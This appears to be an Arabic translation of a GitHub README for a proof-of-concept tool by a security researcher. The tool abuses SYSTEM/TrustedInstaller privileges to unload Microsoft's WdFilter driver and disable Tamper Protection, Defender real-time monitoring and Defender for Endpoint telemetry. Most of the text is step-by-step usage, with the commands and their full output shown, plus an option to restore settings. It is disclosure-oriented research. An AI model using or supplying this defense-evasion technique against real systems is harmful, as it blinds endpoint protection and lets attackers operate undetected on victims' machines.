alteredsecurity/disable-tamperprotectionإثبات مفهوم لتعطيل TamperProtection ومكونات Defender / MDE الأخرى
من الممكن إساءة استخدام صلاحيات SYSTEM / TrustedInstaller للتلاعب بإعدادات WdFilter أو حذفها (مفتاح التسجيل ALTITUDE) وتفريغ برنامج التشغيل المصغّر للنواة (kernel minidriver) لتعطيل Tamper Protection ومكونات Defender الأخرى. يؤثر هذا أيضًا على Microsoft Defender for Endpoint (MDE)، مما يُعمي MDE عن القياس عن بُعد (telemetry) والنشاط المُنفَّذ على الهدف.
خلال الاختبار، وُجد أن هذه الثغرة تؤثر على الإصدارات التالية من Windows:
مدونة تشرح التجاوز (bypass) وإثبات المفهوم (POC): https://www.alteredsecurity.com/post/disabling-tamper-protection-and-other-defender-mde-components
ملاحظة: قد يكون من الضروري تثبيت VC_redist.x64.exe (مكتبة تشغيل MSVC) على الهدف.
عرض توضيحي لإثبات المفهوم (POC): https://youtu.be/MI6aVDHRix8
يعمل إثبات المفهوم في 3 خطوات (يتطلب صلاحيات مسؤول):
C:\> .\Disable-TamperProtection.exe
Sequential Usage: 1 --> 2 --> 3
1: Unload WdFilter
2: Disable Tamper Protection
3: Disable AV/MDE
4: Restore AV/MDE settings
مثال على استخدام إثبات المفهوم كما يلي:
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key Value: 328010
[+] Trusted Installer handle: 0000000000000120
[!] Spawning registry with TrustedInstaller privileges to delete WdFilter "Altitude" regkey.
[+] Created process ID: 3744 and assigned additional token privileges.
[+] Execute option 1 to validate!
# Upon 2nd execution if the above output repeats the target isn't vulnerable
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Enumerating WdFilter information:
Next: 0 | Frame ID: 0 | No. of Instances: 4 | Name: wdfilter | Altitude: 328010
[+] Restart the system or wait a few minutes for WdFilter to unload.
[+] Execute option 1 to validate!
# Restart to crash and unload WdFilter
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] WDFilter has been successfully unloaded, use option 2 to disable Tamper Protection.
C:\> .\Disable-TamperProtection.exe 2
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Trusted Installer handle: 00000000000000C4
[!] Spawning registry with TrustedInstaller privileges to alter Defender "TamperProtection" regkey from 5 to 4.
[+] Created process ID: 7748 and assigned additional token privileges.
[+] Use option '3' to finally Disable AV/MDE.
C:\> .\Disable-TamperProtection.exe 3
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Trusted Installer handle: 000000000000011C
[!] Spawning registry with TrustedInstaller privileges to Disable 'RealtimeMonitoring' regkey.
[+] To disable other components of defender check source.
[+] Created process ID: 8040 and assigned additional token privileges.
# Restart the computer after execution to restore settings successfully
C:\> .\Disable-TamperProtection.exe 4
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Make sure to change Altitude in Source (Default: 328010) and reboot computer after execution.
[+] Trusted Installer handle: 0000000000000120
[!] Spawning registry with TrustedInstaller privileges to Enable 'RealtimeMonitoring' regkey.
[+] Created process ID: 5852 and assigned additional token privileges.
[!] Spawning registry with TrustedInstaller privileges to Enable 'TamperProtection' regkey.
[+] Created process ID: 2744 and assigned additional token privileges.
[!] Spawning registry with TrustedInstaller privileges to restore WdFilter "Altitude" regkey.
[+] Created process ID: 7044 and assigned additional token privileges.
نُشر بواسطة: Munaf Shariff (@m3rcer)
باحث أمني في Altered Security